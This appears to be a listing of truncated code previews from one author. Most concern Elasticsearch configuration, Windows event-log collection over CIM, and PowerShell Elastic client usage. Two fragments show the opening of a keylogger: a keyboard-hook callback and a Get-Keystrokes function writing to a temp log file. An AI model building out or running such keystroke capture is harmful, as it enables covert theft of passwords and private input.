secabstraction

# Define callback
$CallbackScript = {
    Param (
        [Int32]$Code,
        [IntPtr]$wParam,
        [IntPtr]$lParam
    )

    $MsgType = $wParam.ToInt32()

secabstraction

function Get-Keystrokes {
    [CmdletBinding()] 
    Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
        [String]$LogPath = "$($env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [Double]$Timeout,

secabstraction

##################################################################
# /etc/elasticsearch/elasticsearch.yml
#
# Base configuration for a write heavy cluster
#

# Cluster / Node Basics
cluster.name: logng

# Node can have abritrary attributes we can use for routing

secabstraction

{
    "template": "logstash-*",
    "settings" : {
        "index.number_of_shards" : 3,
        "index.number_of_replicas" : 1,
        "index.query.default_field" : "@message",
        "index.routing.allocation.total_shards_per_node" : 2,
        "index.auto_expand_replicas": false
    },
    "mappings": {

secabstraction

function Get-CimEvents {
    [CmdLetBinding(DefaultParameterSetName = 'Filter')]
    param (
        [Parameter(Mandatory = $true)]
        [Alias('Session')]
        [Microsoft.Management.Infrastructure.CimSession[]]
        $CimSession,

        [Parameter(ParameterSetName = 'Filter')]
        [ValidateNotNullOrEmpty()]

secabstraction

# Create a simple client via Elastic's Uri
$Client = New-ElasticClient -Node http://myelastic:9200

# Test connection
$Client.CatHealth()

# Stash
$Client.BulkAsync($AllTheThings)

secabstraction

# Create a connection pool
$Pool = New-ConnectionPool -Nodes @('http://test1:9200','http://test2:9200') -Sniffing

# Create a connection configuration from the pool
$Config = New-ConnectionConfiguration -Pool $Pool

# Tweak the configuration
$Config.SetBasicAuthentication('username','password')
$Config.SetProxy('http://myproxy:8080','username','password')

secabstraction

begin { $JsonStrings = [Collections.Generic.List[String]]::new() }
    
process { 
    foreach ($Object in $InputObject) { 
        
        $IndexProperties = @{
            index = @{
                _index = $Index
                _type = $Type
                _id = $Id

secabstraction

# First lets collect some objects
$Logons = Get-CimInstance -ClassName Win32_NtLogEvent -Filter "LogFile='Security' AND EventCode='4624'"

# Now for the export
$Logons | Export-Elastic -Node http://myelastic:9200

secabstraction

$Parameters = @{
    CimSession = $CimSession
    ClassName = 'Win32_NTLogEvent'
    Filter = $Filter
    ErrorAction = 'Continue'
    ErrorVariable = 'Errors'
}

Get-CimInstance @Parameters | foreach {